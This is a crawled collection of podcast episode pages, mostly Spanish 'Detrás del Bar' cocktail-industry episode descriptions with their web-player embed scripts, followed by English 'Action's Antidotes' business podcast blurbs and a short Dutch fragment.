Noticias y Tendencias de mayo Estas son algunas de las noticias más importantes que nos deja el mes de mayo. Jhonnie Walker estrena su serie Master of Flavor que incluye NFTs - https://www.thespiritsbusiness.com/2022/05/johnnie-walker-debuts-nft-package-for-us35000/ Artesian de Londres lanza un menú de cócteles dual - https://www.thespiritsbusiness.com/2022/05/artesian-debuts-duality-inspired-cocktail-menu/ Buen Vato, el "primer tequila" en botella de cartón - https://www.thespiritsbusiness.com/2022/05/worlds-first-tequila-in-cardboard-bottle-launches/ Crean la primera botella de whisky offline que desconecta las señales de hasta 4 teléfonos inteligentes - https://www.thespiritsbusiness.com/2022/05/glengoyne-goes-offline-with-new-whisky/ Puerto Rico Cocktail Week - https://prcocktailweek.com/summer-edition/ Festival del Cocuy Pecayero para celebrar sus 21 años de Denominación de Origen Disculpen el inicio abrupto, por problemas en las transmisión en vivo tuve que eliminar la introducción de este vídeo Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/OpoltPY5o0Y Episodios Relacionados NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022 - http://www.barspeakeasy.com/podcast/noticias-marzo-2022/ Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227ddb0"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4242","data":{"title":"NEWS: Master of Flavor de Jhonnie Walker, menu00fa Duality en Artesian, Botella de Whisky Off Line","duration":null,"link":"https://www.barspeakeasy.com/podcast/news-mayo/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep57-1/EP57.m4a","size":"7168662","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast",

Noticias y Tendencias de mayo Estas son algunas de las noticias más importantes que nos deja el mes de mayo. Jhonnie Walker estrena su serie Master of Flavor que incluye NFTs - https://www.thespiritsbusiness.com/2022/05/johnnie-walker-debuts-nft-package-for-us35000/ Artesian de Londres lanza un menú de cócteles dual - https://www.thespiritsbusiness.com/2022/05/artesian-debuts-duality-inspired-cocktail-menu/ Buen Vato, el "primer tequila" en botella de cartón - https://www.thespiritsbusiness.com/2022/05/worlds-first-tequila-in-cardboard-bottle-launches/ Crean la primera botella de whisky offline que desconecta las señales de hasta 4 teléfonos inteligentes - https://www.thespiritsbusiness.com/2022/05/glengoyne-goes-offline-with-new-whisky/ Puerto Rico Cocktail Week - https://prcocktailweek.com/summer-edition/ Festival del Cocuy Pecayero para celebrar sus 21 años de Denominación de Origen Disculpen el inicio abrupto, por problemas en las transmisión en vivo tuve que eliminar la introducción de este vídeo Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/OpoltPY5o0Y Episodios Relacionados NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022 - https://www.barspeakeasy.com/podcast/noticias-marzo-2022/ Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8f3b2"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4242","data":{"title":"NEWS: Master of Flavor de Jhonnie Walker, menu00fa Duality en Artesian, Botella de Whisky Off Line","duration":"00:11:43","link":"https://www.barspeakeasy.com/podcast/news-mayo/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep57-1/EP57.m4a","size":"7168662","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},

World Class en RD Cada año World Class a nivel mundial marca la diferencia con otras competencias. Se elige, de manera local, el mejor bartender por países para luego enfrentarse en una final global para elegir el mejor bartender del mundo. En cada país y cada año esta competición genera muchas expectativas en el gremio lo que también lleva a sus organizadores a ir evolucionando y mejorando su puesta a punto. En esta oportunidad hablamos con Carlos Mejía, campeón de esta competición en el año 2018, lo que le abrió las puertas a muchos proyectos entre ellos: El Bar de las 5R, Model Mix y hoy esta detrás de la organización de World Class en República Dominicana. Carlos nos cuenta lo que ha significado para el país la llegada de esta competición y lo que viene este año. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/V6pKKWBHTEQ Episodios Relacionados https://www.youtube.com/watch?v=QMBuTRHEqYo Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b90476"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},

World Class en RD Cada año World Class a nivel mundial marca la diferencia con otras competencias. Se elige, de manera local, el mejor bartender por países para luego enfrentarse en una final global para elegir el mejor bartender del mundo. En cada país y cada año esta competición genera muchas expectativas en el gremio lo que también lleva a sus organizadores a ir evolucionando y mejorando su puesta a punto. En esta oportunidad hablamos con Carlos Mejía, campeón de esta competición en el año 2018, lo que le abrió las puertas a muchos proyectos entre ellos: El Bar de las 5R, Model Mix y hoy esta detrás de la organización de World Class en República Dominicana. Carlos nos cuenta lo que ha significado para el país la llegada de esta competición y lo que viene este año. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/V6pKKWBHTEQ Episodios Relacionados https://www.youtube.com/watch?v=QMBuTRHEqYo Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227e973"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},

Esta vez conversamos con el equipo de Bartenders en Movimiento desde Perú. Ellos son un grupo de embajadores de marcas de un mismo importador premium que decidieron descentralizar el conocimiento de bares y bebidas para todas los interesados que no podían dirigirse hasta la capital del Perú. Se han expandido también por medio de su podcast donde comparten sus experiencias y conocimientos en el área de bares y coctelería. Personalmente disfrute mucho la conversación con este grupo de profesionales. Espero que tú también lo hagas.   Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227f581"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3717","data":{"title":"ud83cudf76 PRE BATCH de Cu00d3CTELES ud83eudd43","duration":null,"link":"https://www.barspeakeasy.com/podcast/pre-batch-de-cocteles/","poster":"https://www.barspeakeasy.com/wp-content/uploads/PORTADA-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep50-1/EP50.m4a","size":"9035819","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000",

Esta vez conversamos con el equipo de Bartenders en Movimiento desde Perú. Ellos son un grupo de embajadores de marcas de un mismo importador premium que decidieron descentralizar el conocimiento de bares y bebidas para todas los interesados que no podían dirigirse hasta la capital del Perú. Se han expandido también por medio de su podcast donde comparten sus experiencias y conocimientos en el área de bares y coctelería. Personalmente disfrute mucho la conversación con este grupo de profesionales. Espero que tú también lo hagas.   Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b9154b"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3717","data":{"title":"ud83cudf76 PRE BATCH de Cu00d3CTELES ud83eudd43","duration":"00:13:39","link":"https://www.barspeakeasy.com/podcast/pre-batch-de-cocteles/","poster":"https://www.barspeakeasy.com/wp-content/uploads/PORTADA-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep50-1/EP50.m4a","size":"9035819","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513",

Bares y Cócteles es un podcast dirigido por Israel Lara desde México. En su podcast conversa de una manera muy amena con invitados del gremio compartiendo sus experiencias detras de la barra, en competencias y hasta recibiendo premiaciones de la talla de 5o Best Bars o Tales of The Cocktails. En esta oportunidad conocemos un poco sobre porqué decidió hacer podcast, qué es lo que saca de esa experiencia y lo que viene (incluye primicia). Recuerda que al final le hicimos el reto del Spead Round en el que le hacemos tres preguntas personales de respuesta rápida. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/Ut9H6nS7gkM Episodios Relacionados Otros links de interés: Nuestro alojador web: Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro  ¿Te gustaría que te avisemos cuando salga un nuevo episodio SUSCRIBETE AQUÍ document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b9248c"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4054","data":{"title":"BARES Y Cu00d3CTELES: un podcast de la INDUSTRIA desde Mu00e9xico","duration":"00:40:27","link":"https://www.barspeakeasy.com/podcast/bares-y-cocteles-un-podcast-de-la-industria-desde-mexico/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-4-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep54-1/EP54.m4a","size":"25714483","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,

Bares y Cócteles es un podcast dirigido por Israel Lara desde México. En su podcast conversa de una manera muy amena con invitados del gremio compartiendo sus experiencias detras de la barra, en competencias y hasta recibiendo premiaciones de la talla de 5o Best Bars o Tales of The Cocktails. En esta oportunidad conocemos un poco sobre porqué decidió hacer podcast, qué es lo que saca de esa experiencia y lo que viene (incluye primicia). Recuerda que al final le hicimos el reto del Spead Round en el que le hacemos tres preguntas personales de respuesta rápida. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/Ut9H6nS7gkM Episodios Relacionados Otros links de interés: Nuestro alojador web: Siteground: https://barspeakeasy.com/hosting   Prueba Canva Pro por 45 días: https://barspeakeasy.com/canvapro  ¿Te gustaría que te avisemos cuando salga un nuevo episodio SUSCRIBETE AQUÍ document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-63323222803ed"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4054","data":{"title":"BARES Y Cu00d3CTELES: un podcast de la INDUSTRIA desde Mu00e9xico","duration":null,"link":"https://www.barspeakeasy.com/podcast/bares-y-cocteles-un-podcast-de-la-industria-desde-mexico/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-4-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep54-1/EP54.m4a","size":"25714483","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513",

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  Why is it that a majority of employees find their work disengaging and unfulfilling? The ultimate answer to that is a lack of career introspection and the inability to place the right people at the right job. This process has gotten more frustrating over the years, both from the standpoint of the job seeker and the organizations trying to build a team. Tonia Martinez is the founder of Career Transformations and she has had her foot set on both sides. Tonia talks to Stephen Jaye about this continuous struggle of presenting opportunities to the right people. Learn more as Tonia shares how she manages to ignite career transformations across organizational hierarchies. --- Listen to the podcast here: // The provided API key must be valid as an extended API key. window.FuseboxPlayerAPIKey = '736|Bt3uGzU4xc0sddXrD2L8BnN1FwLmic13Qk65z0pZRktxo58SWbNAcFgDsC3FYQ3MK0XyoUWYU7WUaQjG'; window.addEventListener('loadFuseboxPlayer', function(e) { fuseboxPlayer(e.detail).setConfig({   "buttons":[      "download",      "share",      "subscribe"   ],   "buttonConfig":{      "subscribe":{         "rss":{            "url":"https://feeds.podetize.com/rss/dUTnqOrR6A",            "label":"RSS"         },         "apple":{            "url":"https://podcasts.apple.com/us/podcast/actions-antidotes/id1574744528",            "label":"Apple Podcasts"         },         "google":{            "url":"https://podcasts.google.com/search/action's%20antidote",            "label":"Google Podcast"         },         "stitcher":{            "url":"https://www.stitcher.com/podcast/podcast-startpoint/actions-antidotes",            "label":"Stitcher"         },         "spotify":{            "url":"https://open.spotify.com/show/4CoKbLyO7mJ6qSUvqjDbsQ",            "label":"Spotify"         },         "tunein":{            "url":"https://tunein.com/radio/Actions-Antidotes-p1469325/",            "label":"TuneIn"         },         "overcast":{            "url":"https://overcast.fm/itunes1574744528/actions-antidotes",            "label":"Overcast"         }      }   },   "color":"#4E8EE6",   "controls":[      "rewind"   ],   "cover":{      "link":false,      "imageUrl":"",      "url":"#"  },   "coverDisplay":false,   "sticky":false,   "style":"regular",   "position":"bottom",   "title":"Action's Antidotes",   "tracks":[      {         "episodeNo": 43,         "title":"Igniting Career Transformations: Aligning Employee And Organizational Values With Tonia Martinez",         "file":"https://media.blubrry.com/actions_antidotes/content.blubrry.com/actions_antidotes/ACAN_43_Tonia_Martinez.mp3",         "description": "Why is it that a majority of employees find their work disengaging and unfulfilling? The ultimate answer to that is a lack of career introspection and the inability to place the right people at the right job. This process has gotten more frustrating over the years, both from the standpoint of the job seeker and the organizations trying to build a team. Tonia Martinez is the founder of Career Transformations and she has had her foot set on both sides. Tonia talks to Stephen Jaye about this continuous struggle of presenting opportunities to the right people. Learn more as Tonia shares how she manages to ignite career transformations across organizational hierarchies.",         "duration":3703,         "featured":false      }   ] }); }); Igniting Career Transformations: Aligning Employee And Organizational Values With Tonia Martinez One way, a lot of people settle for less is in their jobs and careers. I have seen some conflicting numbers around what percentage of people are satisfied with their jobs but all of ...

  When you start a business, you need two things: a vision and culture. So how do you build these two things? Stephen Jaye interviews the CEO of Management Insight, Todd Wheeler, on the role of leadership and communication. Todd also discusses the importance of community, learning to focus on the right things and understanding. Starting up a business? Or are you looking to improve an existing one? Then tune in and learn valuable lessons from Todd. --- Listen to the podcast here: // The provided API key must be valid as an extended API key. window.FuseboxPlayerAPIKey = '736|Bt3uGzU4xc0sddXrD2L8BnN1FwLmic13Qk65z0pZRktxo58SWbNAcFgDsC3FYQ3MK0XyoUWYU7WUaQjG'; window.addEventListener('loadFuseboxPlayer', function(e) { fuseboxPlayer(e.detail).setConfig({ "buttons":[ "download", "share", "subscribe" ], "buttonConfig":{ "subscribe":{ "rss":{ "url":"https://feeds.podetize.com/rss/dUTnqOrR6A", "label":"RSS" }, "apple":{ "url":"https://podcasts.apple.com/us/podcast/actions-antidotes/id1574744528", "label":"Apple Podcasts" }, "google":{ "url":"https://podcasts.google.com/search/action's%20antidote", "label":"Google Podcast" }, "stitcher":{ "url":"https://www.stitcher.com/podcast/podcast-startpoint/actions-antidotes", "label":"Stitcher" }, "spotify":{ "url":"https://open.spotify.com/show/4CoKbLyO7mJ6qSUvqjDbsQ", "label":"Spotify" }, "tunein":{ "url":"https://tunein.com/radio/Actions-Antidotes-p1469325/", "label":"TuneIn" }, "overcast":{ "url":"https://overcast.fm/itunes1574744528/actions-antidotes", "label":"Overcast" } } }, "color":"#4E8EE6", "controls":[ "rewind" ], "cover":{ "link":false, "imageUrl":"", "url":"#" }, "coverDisplay":false, "sticky":false, "style":"regular", "position":"bottom", "title":"Action's Antidotes", "tracks":[ { "episodeNo": 42, "title":"Build Your Business Vision And Culture With Management Insights Founder Todd Wheeler", "file":"https://media.blubrry.com/actions_antidotes/content.blubrry.com/actions_antidotes/ACAN_42_Todd_Wheeler.mp3", "description": "When you start a business, you need two things: a vision and culture. So how do you build these two things? Stephen Jaye interviews the CEO of Management Insight, Todd Wheeler, on the role of leadership and communication. Todd also discusses the importance of community, learning to focus on the right things and understanding. Starting up a business? Or are you looking to improve an existing one? Then tune in and learn valuable lessons from Todd.", "duration":3703, "featured":false } ] }); }); Build Your Business Vision And Culture With Management Insights Founder Todd Wheeler One important aspect of everybody's lives or most people's lives is work culture, organizational culture, the culture that we all spend a good part of our days in. These things are changing. The Great Resignation assertion of what a lot of people have been feeling for years, what they want out of their work culture, which is an organization that benefits, values them and is still pretty early into this whole transformation. We are going to take a little while before we see how this entire thing turns out. However, there are a lot of interesting things going on in this field, hopefully leading us toward a better and more productive work culture in the future. My guest, Todd Wheeler, is the Founder and CEO and by CEO, he refers to as Chief Enthusiasm Officer of an organization call...

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Deze week in de Businesslab Podcast aflevering 100... #morningrun → Dagelijks ben ik vroeg uit de veren, trek ik mijn loopschoenen aan en ga ik hardlopen. Bij het thuiskomen, ga ik elke dag Live op Facebook om een inzicht of een les te delen over beter ondernemen. Korte samenvatting van de 5 topics deze week. En een dikke

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